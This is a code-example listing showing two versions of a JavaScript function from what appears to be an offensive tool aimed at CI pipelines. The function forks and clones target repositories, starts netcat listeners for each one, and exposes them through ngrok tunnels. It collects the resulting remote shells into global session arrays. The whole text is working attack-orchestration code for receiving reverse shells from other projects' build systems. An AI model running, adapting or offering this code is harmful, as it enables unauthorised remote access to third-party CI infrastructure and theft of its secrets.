Exemple #1
0
      ng.ngrokAuth((err, ngtoken) => {
        // check for ngrok err
        if (err) {
          log(chalk.red(`ERROR with ngrok authentication. ${err}`));
          return cb("ERROR");
        }
        let ng_token = ngtoken;

        // Fork all repos in targets
        repos.forkAll(token, authed_user, () => {

          // Clone all repos that have been forked
          repos.cloneAllRepos(type, authed_user, () => {

            // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT
            targets.getForkedTargetType(target_type, authed_user, (raw_targets, ci_targets) => {

              // Start a netcat listener for each cloned repo
              server.startNetcatTempListener((nc, duplex, nc_port) => {

                // Start an Ngrok instance for listening
                log(green("Starting ngrok Services..."));
                server.startNgrokConnect(nc_port, ng_token, (err, hostname, ng_port, ng_server, ng_url) => {
                  if (err) {
                    log(err);
                    return cb(err);
                  } else {
                    return cb(null, token, authed_user, raw_targets, ci_targets, nc, duplex, nc_port, hostname, ng_port, ng_server, ng_url);
                  }
                });
              });
            })
          })
        })
      })
Exemple #2
0
      ng.ngrokAuth((err, ngtoken) => {
        // check for ngrok err
        if (err) {
          log(chalk.red(`ERROR with ngrok authentication. ${err}`));
          return cb("ERROR");
        }
        let ng_token = ngtoken;

        // Fork all repos in targets
        repos.forkAll(token, authed_user, () => {

          // Clone all repos that have been forked
          repos.cloneAllRepos(type, authed_user, () => {

            // CREATE TRAVIS SPECIFIC LIST HERE TO USE FROM HERE ON OUT
            targets.getForkedTargetType(target_type, authed_user, (raw_targets, ci_targets) => {

              // Start a netcat listener for each cloned repo
              server.startNetcatAll(ci_targets, (nc_arr, ports_arr, dupIn_arr, dupOut_arr) => {

                // Push global lists for new shells
                global.shells_arr.push.apply(global.shells_arr, nc_arr);
                global.duplexInput_arr.push.apply(global.duplexInput_arr, dupIn_arr);
                global.duplexOutput_arr.push.apply(global.duplexOutput_arr, dupOut_arr);
                global.session_name_arr.push.apply(global.session_name_arr, raw_targets);
                for (let l = 0; l < global.nc_arr; l++) {
                  global.session_exploit_arr.push(exploit_name);
                }

                // Start an Ngrok instances for listening
                log(green("Starting ngrok Services..."));
                server.startNgrokAll(ports_arr, ng_token, (err, hostname_arr, port_arr, server_arr, url_arr) => {
                  if (err) {
                    log(err);
                    return cb(err);
                  } else {
                    return cb(null, token, authed_user, raw_targets, ci_targets, hostname_arr, port_arr, server_arr, url_arr)
                  }
                })

              })
            })
          })
        })
      })